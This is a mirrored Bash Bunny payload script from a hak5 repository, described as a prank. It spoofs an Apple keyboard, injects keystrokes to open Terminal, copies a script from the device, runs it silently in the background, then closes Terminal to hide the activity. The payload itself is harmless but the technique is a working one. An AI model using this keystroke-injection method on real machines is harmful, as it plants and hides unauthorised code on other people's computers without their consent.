mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Installs a script that will listen for user activity in the background. When the user starts working on his machine, a „Rick Roll“ will be triggered.
25 lines
505 B
Bash
25 lines
505 B
Bash
#!/bin/bash
|
|
|
|
LED SETUP
|
|
ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE
|
|
|
|
LED ATTACK
|
|
# Open terminal
|
|
QUACK GUI SPACE
|
|
QUACK DELAY 1000
|
|
QUACK STRING terminal
|
|
QUACK ENTER
|
|
QUACK DELAY 1500
|
|
|
|
QUACK STRING "cp /Volumes/BashBunny/payloads/${SWITCH_POSITION}/rick.sh /tmp/rick.sh"
|
|
QUACK ENTER
|
|
QUACK DELAY 1000
|
|
|
|
QUACK STRING "diskutil eject /Volumes/BashBunny/"
|
|
QUACK ENTER
|
|
QUACK STRING "chmod +x /tmp/rick.sh && nohup bash /tmp/rick.sh &> /dev/null &"
|
|
QUACK ENTER
|
|
QUACK STRING "killall Terminal"
|
|
QUACK ENTER
|
|
|
|
LED FINISH |